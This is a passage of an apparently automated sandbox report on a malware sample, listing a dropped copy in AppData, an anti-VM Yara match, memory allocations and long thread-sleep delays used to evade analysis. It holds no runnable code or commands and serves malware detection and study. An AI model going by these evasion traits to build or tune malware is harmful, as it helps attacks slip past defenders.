          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess information set: NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Yara detected AntiVM3
          Source: Yara matchFile source: Process Memory Space: FT876567090.exe PID: 7408, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: EYDNKhhJr.exe PID: 4176, type: MEMORYSTR
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 2810000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 29C0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 2810000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 7760000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 8760000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 8910000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 9910000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: A340000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: B340000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: C340000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 2C60000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 3020000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeMemory allocated: 2C60000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 2AC0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 2C50000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 4C50000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 7560000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 8560000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 8700000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 9700000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: A120000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: B120000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 30D0000 memory reserve | memory write watch
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 33A0000 memory reserve | memory write watch
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMemory allocated: 31B0000 memory reserve | memory write watch
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 600000Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599867Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599749Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599640Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599530Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599421Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599311Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599203Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 599079Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598969Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598829Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598704Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598579Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598454Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598329Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598204Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 598079Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597954Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597829Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597719Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597610Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597469Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597360Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597235Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 597110Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596985Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596873Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596766Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596641Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596516Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596406Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596287Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596172Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 596063Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595938Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595813Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595688Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595578Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595466Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595360Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595250Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595137Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 595032Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594922Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594813Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594688Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594563Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594438Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594313Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeThread delayed: delay time: 594201Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 922337203685477
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 600000
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599890
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599781
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599671
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599562
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599453
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599319
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599203
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 599093
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598905
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598796
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598687
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598578
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598468
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598359
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598214
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 598109
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597999
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597888
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597765
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597656
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597547
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597437
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597289
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597172
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 597062
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596953
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596843
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596734
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596625
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596505
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596375
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596265
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596156
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 596047
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595937
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595817
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595687
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595578
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595468
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595359
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595250
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595140
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 595030
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594922
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594812
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594703
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594593
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594484
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeThread delayed: delay time: 594375
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7680Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1041Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7685Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 773Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeWindow / User API: threadDelayed 3478Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeWindow / User API: threadDelayed 6351Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeWindow / User API: threadDelayed 2203
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeWindow / User API: threadDelayed 7654
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7428Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7980Thread sleep count: 7680 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7996Thread sleep count: 1041 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8176Thread sleep time: -8301034833169293s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8084Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8184Thread sleep time: -5534023222112862s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8148Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep count: 34 > 30Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -31359464925306218s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -600000s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7764Thread sleep count: 3478 > 30Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599867s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7764Thread sleep count: 6351 > 30Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599749s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599640s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599530s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599421s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599311s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599203s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -599079s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598969s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598829s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598704s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598579s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598454s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598329s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598204s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -598079s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597954s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597829s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597719s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597610s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597469s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597360s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597235s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -597110s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596985s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596873s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596766s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596641s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596516s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596406s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596287s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596172s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -596063s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595938s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595813s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595688s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595578s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595466s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595360s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595250s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595137s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -595032s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -594922s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -594813s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -594688s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -594563s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -594438s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -594313s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exe TID: 7776Thread sleep time: -594201s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 3048Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep count: 35 > 30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -32281802128991695s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -600000s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7944Thread sleep count: 2203 > 30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599890s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7944Thread sleep count: 7654 > 30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599781s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599671s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599562s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599453s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599319s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599203s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -599093s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598905s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598796s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598687s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598578s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598468s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598359s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598214s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -598109s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597999s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597888s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597765s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597656s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597547s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597437s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597289s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597172s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -597062s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596953s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596843s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596734s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596625s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596505s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596375s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596265s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596156s >= -30000s
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe TID: 7976Thread sleep time: -596047s >= -30000s
